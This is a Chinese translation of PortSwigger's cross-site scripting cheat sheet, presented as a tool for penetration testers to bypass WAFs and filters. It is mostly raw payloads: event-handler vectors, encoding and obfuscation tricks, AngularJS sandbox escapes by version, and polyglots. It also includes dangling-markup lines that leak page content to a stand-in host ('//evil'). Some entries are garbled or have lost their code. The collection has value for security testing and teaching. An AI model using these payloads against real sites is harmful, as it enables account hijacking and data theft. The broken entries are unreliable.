这是一份跨站脚本(XSS)备忘录,收集了大量的XSS攻击向量,包含了各种事件处理、通讯协议、特殊属性、限制字符、编码方式、沙箱逃逸等技巧,可以帮助渗透测试人员绕过WAF和过滤机制。

译者注:原文由Portswigger公司的Web安全学院于2019年定期更新,对的,就是那家开发著名渗透工具Burp suite 的公司,最后更新时间:2019年11月8日星期五10:58:07。

事件处理

不需要用户交互的事件处理程序

激活元素时触发(IE)

```
<a id=x tabindex=1 onactivate=alert(1)></a>
```

页面打印后触发 (Chrome、Firefox、IE)

```
<body onafterprint=alert(1)>
```

CSS动画取消时触发(Firefox)

CSS动画结束时触发 (Chrome、Firefox、IE、Safari)

```
< style > @keyframes \ x\{\} < / style > < a \ style = "animation-name: x" \ onanimationend = "alert(1)" > < / a >
```

重复CSS动画时触发 (Chrome、Firefox、IE、Safari)

```
<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-
name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a>
```

CSS动画开始时触发 (Chrome、Firefox、IE、Safari)

```
<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a>
```

在激活元素之前触发(IE)

```
<a id=x tabindex=1 onbeforeactivate=alert(1)></a>
```

在停用元素之前触发(IE)

```
<a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>
```

在页面打印前触发 (Chrome、Firefox、IE) <body onbeforeprint=alert(1)> 网址更改后触发 (Chrome) <svg><animate onbegin=alert(1) attributeName=x dur=1s> svg动画开始时触发 (Chrome、Firefox、Safari) <svg><animate onbegin=alert(1) attributeName=x dur=1s> 当元素失去焦点时触发 (Chrome、IE、Safari) <input autofocus> 选框弹跳时触发(Firefox、IE) <marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee> 如果资源可以播放则触发 (Chrome、Firefox、IE、Safari) <audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio> 加载足够的数据以完全播放资源时触发 (Chrome、Firefox、IE、Safari) <video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video> 停用元素时触发(IE) <input id=y autofocus> 资源播放完毕时触发 (Chrome、Firefox、IE、Safari) <audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"> </audio> 资源加载失败或导致错误时触发 (Chrome、Firefox、IE、Safari) <audio src/onerror=alert(1)>

当元素具有焦点时触发 (Chrome、IE、Safari)

<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>

选框完成时触发 (Firefox、IE)

```
<a id=x tabindex=1 onfocus=alert(1)></a>
当元素具有焦点时触发 (Chrome、IE、Safari)
 <a id=x tabindex=1 onfocusin=alert(1)></a>
当元素失去焦点时触发 (Chrome、IE、Safari)
 <a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
如果哈希值更改,则触发(Chrome、Firefox、IE、Safari)
 <body onhashchange="alert(1)">
加载元素时触发 (Safari)
 <svg><a onload=alert(1)></a>
加载第一帧时触发 (Chrome、Firefox、IE、Safari)
 <audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
加载元数据时触发 (Chrome、Firefox、IE、Safari)
 <audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav">
 </audio>
当元素完成加载时触发 (Firefox)
<image src=validimage.png onloadend=alert(1)>
当元素开始加载时触发 (Firefox)
<image src=validimage.png onloadstart=alert(1)>
当从postMessage调用接收到消息事件时触发 ( Chrome、Firefox、IE、Safari)
<body onmessage=alert(1)>
显示页面时触发 (Chrome、Firefox、IE、Safari)
<body onpageshow=alert(1)>
播放资源时触发 (Chrome、Firefox、IE、Safari)
```

<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

触发资源正在播放 (Chrome、Firefox、IE、Safari)

<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

历史记录更改时触发 (Chrome、Firefox、IE、Safari)

<body onpopstate=alert(1)>

svg动画重复时触发 (Chrome、Firefox、Safari)

<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />

调整窗口大小时触发 (Chrome、Firefox、IE、Safari)

<body onresize="alert(1)">

页面滚动时触发 (Chrome、Firefox、IE、Safari)

<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>

选框开始时触发 (Firefox、IE)

<marquee onstart=alert(1)>XSS</marquee>

更改时间轴时触发 (Chrome、Firefox、IE、Safari)

<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>

展开详细信息标签时触发 (Chrome、Firefox、IE、Safari)

<details ontoggle=alert(1) open>test</details>

CSS过渡取消时触发 (Firefox)

<style>:target {color: red;}</style><a id=x style="transition:color 10s"
ontransitioncancel=alert(1)>

CSS过渡结束时触发 (Chrome)

<style>:target {color:red;}</style><a id=x style="transition:color 1s"
ontransitionend=alert(1)>

CSS过渡开始时触发 (Firefox)

<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s"
ontransitionrun=alert(1)>

未履行承诺时触发 (Firefox)

<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>

等待数据时触发(IE)

<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4>
</video>

需要用户交互的事件处理程序

右键单击或使用鼠标中键时触发 (Chrome、Firefox)

<input onauxclick=alert(1)>

需要复制一段文字 (Chrome、Firefox、IE、Safari)

test

要求剪切一段文字 (Chrome、Firefox、IE、Safari)

test

需要粘贴一段文字(IE)

test

需要属性值的变化 (Chrome、Firefox、IE、Safari)

<input onchange=alert(1) value=xss>

需要点击一下元素 (Chrome、Firefox、IE、Safari)

test

右键单击以显示上下文菜单时触发 (Chrome、Firefox、IE、Safari)

test

需要复制一段文字 (Chrome、Firefox、IE、Safari)

test

```
要求剪切一段文字 (Chrome、Firefox、IE、Safari)
<a oncut="alert(1)" contenteditable>test</a>
双击元素时触发 (Chrome、Firefox、IE、Safari)
<a ondblclick="alert(1)">test</a>
触发拖动元素 (Chrome、Firefox、IE、Safari)
<a draggable="true" ondrag="alert(1)">test</a>
触发拖动已在元素上完成 (Chrome、Firefox、IE、Safari)
<a draggable="true" ondragend="alert(1)">test</a>
需要鼠标拖动 (Chrome、Firefox、IE、Safari)
<a draggable="true" ondragenter="alert(1)">test</a>
需要鼠标拖动 (Chrome、Firefox、IE、Safari)
<a draggable="true" ondragleave="alert(1)">test</a>
触发拖动元素 (Chrome、Firefox、IE、Safari)
<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1)</pre>
contenteditable>drop here</a>
需要鼠标拖动 (Chrome、Firefox、IE、Safari)
<a draggable="true" ondragstart="alert(1)">test</a>
触发删除可拖动元素 (Chrome、Firefox、IE、Safari)
<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop
here</a>
需要作为价值的变化 (Chrome、Firefox、IE、Safari)
<input oninput=alert(1) value=xss>
需要具有不满足其约束的元素(例如必填属性)的表单提交。(Chrome、Firefox、IE、Safari)
<form><input oninvalid=alert(1) required><input type=submit>
```

```
按下键时触发 (Chrome、Firefox、IE、Safari)
<a onkeydown="alert(1)" contenteditable>test</a>
按下键时触发 (Chrome、Firefox、IE、Safari)
<a onkeypress="alert(1)" contenteditable>test</a>
释放按键时触发 (Chrome、Firefox、IE、Safari)
<a onkeyup="alert(1)" contenteditable>test</a>
按下鼠标时触发 (Chrome、Firefox、IE、Safari)
<a onmousedown="alert(1)">test</a>
当鼠标悬停在元素上时触发 (Chrome、Firefox、IE、Safari)
<a onmouseenter="alert(1)">test</a>
当鼠标移离元素时触发 (Chrome、Firefox、IE、Safari)
<a onmouseleave="alert(1)">test</a>
需要鼠标移动 (Chrome、Firefox、IE、Safari)
<a onmousemove="alert(1)">test</a>
当鼠标移离元素时触发 (Chrome、Firefox、IE、Safari)
<a onmouseout="alert(1)">test</a>
需要将鼠标悬停在元素上(Chrome、Firefox、IE、Safari)
<a onmouseover="alert(1)">test</a>
释放鼠标按钮时触发 (Chrome、Firefox、IE、Safari)
<a onmouseup="alert(1)">test</a>
需要粘贴一段文字 (Chrome、Firefox、IE、Safari)
<a onpaste="alert(1)" contenteditable>test</a>
需要点击元素才能暂停 (Chrome、Firefox、IE、Safari)
```

<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>

需要点击 (Chrome、Firefox、IE、Safari)

<form onreset=alert(1)><input type=reset>

提交表单并且输入具有搜索的type属性时触发 (Chrome)

<form><input type=search onsearch=alert(1) value="Hit return" autofocus>

需要点击元素时间轴 (Chrome、Firefox、IE、Safari)

<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>

需要点击元素时间轴 (Chrome、Firefox、IE、Safari)

<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>

需要选择文字 (Chrome、Firefox、IE、Safari)

<input onselect=alert(1) value="XSS" autofocus>

需要提交表单 (Chrome、Firefox、IE、Safari)

<form onsubmit=alert(1)><input type=submit>

需要在页面上的任意位置单击并重新加载 (Chrome)

<svg onunload=window.open('javascript:alert(1)')>

需要调节音量 (Chrome、Firefox、IE、Safari)

<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>

使用鼠标滚轮时触发 (Chrome、Firefox、IE、Safari)

<body onwheel=alert(1)>

限制字符

无括号,使用异常处理

<script>onerror=alert;throw 1</script>

无括号,无分号,使用异常处理

<script>{onerror=alert}throw 1</script>

无括号的异常处理,没有使用表达式的半冒号

<script>throw onerror=alert,1</script>

无括号异常处理和evil

<script>throw onerror=eval,'=alert\x281\x29'</script>

无括号,在Firefox上使用异常处理和evil

\$\$ < cript = onerror = onerwo =

无括号,使用ES6 hasInstance和instanceof与eval

<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>

无括号,使用ES6的hasInstance和instanceof以及eval

<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>

无括号,使用位置重定向

<script>location='javascript:alert\x281\x29'</script>

无字符串,使用位置没有括号重定向

<script>location=name</script>

无括号,使用模板字符串

<script>alert`1`</script>

前端框架

Bootstrap onanimationstart事件

<xss class=progress-bar-animated onanimationstart=alert(1)>

Bootstrap ontransitionend事件

<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)>
<xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item>
</xss></xss>

通讯协议

iframe src属性JavaScript协议

<iframe src="javascript:alert(1)">

具有JavaScript协议的对象data属性

<object data="javascript:alert(1)">

使用JavaScript协议嵌入src属性

<embed src="javascript:alert(1)">

标准的JavaScript协议

XSS

不区分大小写的协议

XSS

协议之前允许使用字符\x01-\x20

XSS

协议中允许使用字符\ x09, \x0a, \x0d

XSS

协议名称后在冒号前允许字符\x09,\x0a,\x0d

XSS

带有JavaScript协议的SVG中的Xlink命名空间

<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text>

使用值的SVG动画标签

<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) />
<text x=20 y=20>XSS</text>

SVG动画标签用于

<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><text x=20 y=20>XSS</text>

SVG设置标签

<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><text x=20 y=20>XSS</text>

脚本src中的数据协议

<script src="data:text/javascript,alert(1)"></script>

SVG脚本href属性,无需关闭脚本标签

<svg><script href="data:text/javascript,alert(1)" />

SVG使用元素Chrome/Firefox

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'
xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a
xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></svg>#x">
</use></svg>

带有数据URL的导入语句

<script>import('data:text/javascript,alert(1)')</script>

具有JavaScript协议的基本标记重写了相对URL

<base href="javascript:/a/-alert(1)/////">test

MathML使任何标签都可点击

<math><x href="javascript:alert(1)">blah

按钮和动作

<form><button formaction=javascript:alert(1)>XSS

输入和形式

<form><input type=submit formaction=javascript:alert(1) value=XSS>

形式与行动

<form action=javascript:alert(1)><input type=submit value=XSS>

Isindex和formaction

<isindex type=submit formaction=javascript:alert(1)>

index和action

<isindex type=submit action=javascript:alert(1)>

将元素与外部网址一起使用

<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>

其他有用的属性

使用srcdoc属性

<iframe srcdoc=""></iframe>

对实体使用srcdoc

<iframe srcdoc=""></iframe>

在页面上的任何位置(甚至在表单外部)单击提交元素

<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>

隐藏的输入:访问键属性可以在通常无法利用的元素上启用XSS

<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows)
(CTRL+ALT+X on OS X)

链接元素:访问键属性可以在通常无法利用的元素上启用XSS

<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows)
(CTRL+ALT+X on OS X)

下载属性可以保存当前网页的副本

Test

使用Referrerpolicy禁用引荐来源网址

特殊标签

重定向到其他域

```
<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">
```

元字符集属性UTF-7

```
<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

元字符集UTF-7

```
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-
alert(1)+ADw-/script+AD4-
```

UTF-7 BOM字符(必须在文档开头)1

```
+/v8
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

UTF-7 BOM字符(必须在文档开头)2

```
+/v9
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

UTF-7 BOM字符(必须在文档开头)3

```
+/v+
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

UTF-7 BOM字符(必须在文档开头)4

```
+/v/
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
```

升级不安全的请求

```
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
```

通过iframe沙箱禁用JavaScript

```
<iframe sandbox src="//portswigger-labs.net"></iframe>
```

禁用引荐来源

```
<meta name="referrer" content="no-referrer">
```

编码方式

超长UTF-8

```
%C0%BCscript>alert(1)</script>
%E0%80%BCscript>alert(1)</script>
%F0%80%80%BCscript>alert(1)</script>
%F8%80%80%80%BCscript>alert(1)</script>
%FC%80%80%80%80%BCscript>alert(1)</script>
```

Unicode转义

```
<script>\u0061lert(1)</script>
```

Unicode转义ES6样式

```
<script>\u{61}lert(1)</script>
```

Unicode转义ES6样式零填充

```
<script>\u{0000000061}lert(1)</script>
```

十六进制编码JavaScript转义

```
<script>eval('\x61lert(1)')</script>
```

八进制编码

```
<script>eval('\141lert(1)')</script>
<script>eval('alert(\061)')</script>
<script>eval('alert(\61)')</script>
```

带有可选分号的十进制编码

```
<a href="&#106;avascript:alert(1)">XSS</a><a href="&#106avascript:alert(1)">XSS</a>
```

带有HTML编码的SVG脚本

```
<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
```

带填充零的十进制编码

```
<a href="&#0000106avascript:alert(1)">XSS</a>
十六进制编码实体
<a href="&#x6a;avascript:alert(1)">XSS</a>
如果下一个字符不是a-f0-9,则不使用分号的十六进制编码
<a href="j&#x61vascript:alert(1)">XSS</a>
<a href="%#x6a
avascript:alert(1)">XSS</a>
<a href="\&#x6a avascript:alert(1)">XSS</a>
带填充零的十六进制编码
<a href="%#x0000006a;avascript:alert(1)">XSS</a>
十六进制编码不区分大小写
<a href="&#X6A;avascript:alert(1)">XSS</a>
HTML实体
<a href="javascript&colon;alert(1)">XSS</a>
<a href="java&Tab;script:alert(1)">XSS</a>
<a href="java&NewLine;script:alert(1)">XSS</a>
<a href="javascript&colon;alert&lpar;1&rpar;">XSS</a>
```

网址编码

XSS

HTML实体和URL编码

XSS

混淆

Firefox在&之后允许NULL

Firefox

Firefox允许在命名实体内使用NULL

Firefox

Firefox在开头的注释中允许使用NULL字符

```
<!-- ><img title="--><iframe/onload=alert(1)>"> -->
<!-- ><img title="--><iframe/onload=alert(1)>"> -->
```

带有base64的脚本src中的数据协议

```
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
```

客户端模板注入

AngularJS沙箱逃逸

版本:1.0.1-1.1.5

```
{{constructor.constructor('alert(1)')()}}
```

版本:1.0.1-1.1.5(较短)

```
{{$on.constructor('alert(1)')()}}
```

版本: 1.2.0-1.2.1

```
{{a='constructor';b=
{};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'aler
t(1)')()}}
```

版本: 1.2.2-1.2.5

```
{{{}.")));alert(1)//"}}
```

版本: 1.2.6-1.2.18

```
{{(_=''.sub).call.call({}
[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
```

版本: 1.2.19-1.2.23

```
{{toString.constructor.prototype.toString=toString.constructor.prototype.call; ["a","alert(1)"].sort(toString.constructor);}}
```

版本: 1.2.24-1.2.29

```
{{{}.")));alert(1)//"}}
```

版本: 1.2.27-1.2.29/1.3.0-1.3.20

```
{{{}.")));alert(1)//"}}
```

版本:1.3.0

```
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
)));}}
```

版本: 1.3.3-1.3.18

```
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=
[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}
```

版本:1.3.19

```
{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=
[].join;$eval('x=alert(1)//');}}
```

版本:1.3.20

```
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
```

版本: 1.4.0-1.4.9

```
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
```

版本:1.5.0-1.5.8

```
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}
```

版本: 1.5.9-1.5.11

```
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
```

```
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
```

版本:>=1.6.0

```
{{constructor.constructor('alert(1)')()}}
```

版本:>=1.6.0(较短)

```
{{$on.constructor('alert(1)')()}}
```

基于DOM的AngularJS沙箱逃逸

所有版本 (Chrome)

```
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],a]ert)'">
```

所有版本 (Chrome) 较短

```
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>
```

所有版本(所有浏览器)都较短

```
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
```

版本: 1.2.0-1.5.0

```
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key,
value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
```

无脚本攻击

背景属性

```
<body background="//evil?
<table background="//evil?
<table><thead background="//evil?
<table><tfoot background="//evil?
<table><th background="//evil?
```

链接href样式表

```
<link rel=stylesheet href="//evil?</pre>
```

链接href图标

```
<link rel=icon href="//evil?</pre>
```

Meta刷新

```
<meta http-equiv="refresh" content="0; http://evil?</pre>
```

Img通过src属性传递标记

```
<img src="//evil?
<image src="//evil?</pre>
```

使用track元素的视频

```
<video><track default src="//evil?</pre>
```

使用sourcr元素和src属性的视频

```
<video><source src="//evil?</pre>
```

使用source元素和src属性的音频

```
<audio><source src="//evil?</pre>
```

输入src

```
<input type=image src="//evil?</pre>
```

使用formaction的按钮

```
<form><button style="width:100%;height:100%" type=submit formaction="//evil?</pre>
```

使用formaction输入

<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit
formaction="//evil?</pre>

表单使用action

<button form=x style="width:100%;height:100%;"><form id=x action="//evil?</pre>

使用src属性的Isindex

<isindex type=image src="//evil?</pre>

Isindex使用submit

<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?</pre>

Object data

<object data="//evil?</pre>

iframe src

<iframe src="//evil?</pre>

Embed src

<embed src="//evil?</pre>

使用textarea标记并发布到外部站点

<form><button formaction=//evil>XSS</button><textarea name=x>

使用表单目标通过window.name传递标记数据

<button form=x>XSS</button><form id=x action=//evil target='</pre>

使用基本目标通过window.name传递标记数据

<font size=100
color=red>You must click me<base target="</pre>

使用formtarget通过window.name传递标记数据

<form><input type=submit value="Click me" formaction=http://subdomain1.portswiggerlabs.net/dangling_markup/name.html formtarget="

使用基本href传递数据

xss<base href="//evil/

使用embed src从页面传递数据

<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="</pre>

使用iframe窗口名称从页面传递数据

<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="</pre>

使用object窗口名称从页面传递数据

<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="</pre>

使用frameset窗口名称从页面传递数据

<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="</pre>

多语言有效载荷

多语言有效载荷1

javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

多语言有效载荷2

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script>
<html \"
 onmouseover=/*<svg/*/onload=alert()//>

经典向量(XSS加密)

具有JavaScript协议的Image src

带有JavaScript协议的正文背景

<body background="javascript:alert(1)">

随着现代浏览器使用空来源,iframe数据网址不再起作用

<iframe src="data:text/html,">

用于IE的VBScript协议

```
<a href="vbscript:MsgBox+1">XSS</a>
<a href="#" onclick="vbs:Msgbox+1">XSS</a>
<a href="#" onclick="vBs:Msgbox+1">XSS</a>
<a href="#" onclick="vbscript:Msgbox+1">XSS</a>
<a href="#" onclick="vbscript:Msgbox+1">XSS</a>
<a href="#" onclick="vBSCRIPT:Msgbox+1">XSS</a>
<a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a></a>
```

JScript compact是JS的最小版本,未在IE中广泛使用

```
<a href="#" onclick="jscript.compact:alert(1);">test</a>
<a href="#" onclick="jscript.compact:alert(1);">test</a>
```

JScript.Encode允许编码的JavaScript

```
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a><a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
```

VBScript.Encoded允许编码的VBScript

```
<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
<iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
```

用于Netscape Navigator的JavaScript实体

```
<a title="&{alert(1)}">XSS</a>
```

Netscape Navigator曾经支持JavaScript样式表

```
<link href="xss.js" rel=stylesheet type="text/javascript">
```

用于消耗标记的按钮

<form><button name=x formaction=x>stealme

IE9选择元素和纯文本用于消耗标记

```
<form action=x><button>XSS</button><select name=x><option><plaintext>
<script>token="supersecret"</script>
```

仅限XBL Firefox <= 2

```
<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
<div style="\-\mo\z-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">
<div style="-moz-bindin\67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
<div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">
```

XBL也使用数据URL在FF3.5中工作

```
<img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-
8,%3C%3Fxml%2Oversion%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22
http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimplementation%3E%3Cco
nstructor%3E%3C%21%5BCDATA%5Bvar%2Ourl%20%3D%20%22alert.js
%22%3B%2Ovar%2Oscr%20%3D%2Odocument.createElement%28%22script%22%29%3B%2Oscr.setAttribute%28
%22src%22%2Curl%29%3B%2Ovar%2ObodyElement%20%3D%2O
document.getElementsByTagName%28%22html%22%29.item%280%29%3B%2ObodyElement.appendChild%28scr
%29%3B%2O%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%3C/ binding%3E%3C/bindings%3E)" />
```

CSS表达式<= IE7

```
<div style=xss:expression(alert(1))>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio\006e(alert(1))>
<div style=xss:expressio\00006e(alert(1))>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio\6e(alert(1))>
<div style=xss:expressio\6e(alert(1))>
```

在怪癖模式下,IE允许您使用=代替:

```
<div style=xss=expression(alert(1))>
<div style="color&#x3dred">test</div>
```

IE较旧模式的行为

```
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XSS</a>
```

IE中较旧版本的函数中支持的事件处理程序

```
<script>
function window.onload(){
alert(1);
</script>
<script>
function window::onload(){
alert(1);
</script>
<script>
function window.location(){
}
</script>
<body>
<script>
function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML(){}
</script>
```

```
</body>
<body>
<script>
function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; }
</script>
</body>
```

GreyMagic HTML + time漏洞利用 (即使在5 docmode下也不再起作用)

```
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import
namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img
src=1 onerror=alert(1)>"> </BODY></HTML>
```

原文地址: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet